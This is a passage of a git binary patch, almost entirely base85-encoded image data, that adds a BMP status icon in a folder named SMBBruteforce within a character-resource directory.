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 Het!Q4(mo13 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce11.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce11.bmp new file mode 100644 index 0000000000000000000000000000000000000000..961601342f83c19be9bcf25b71cc87f3e3748e7b GIT binary patch literal 18462 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 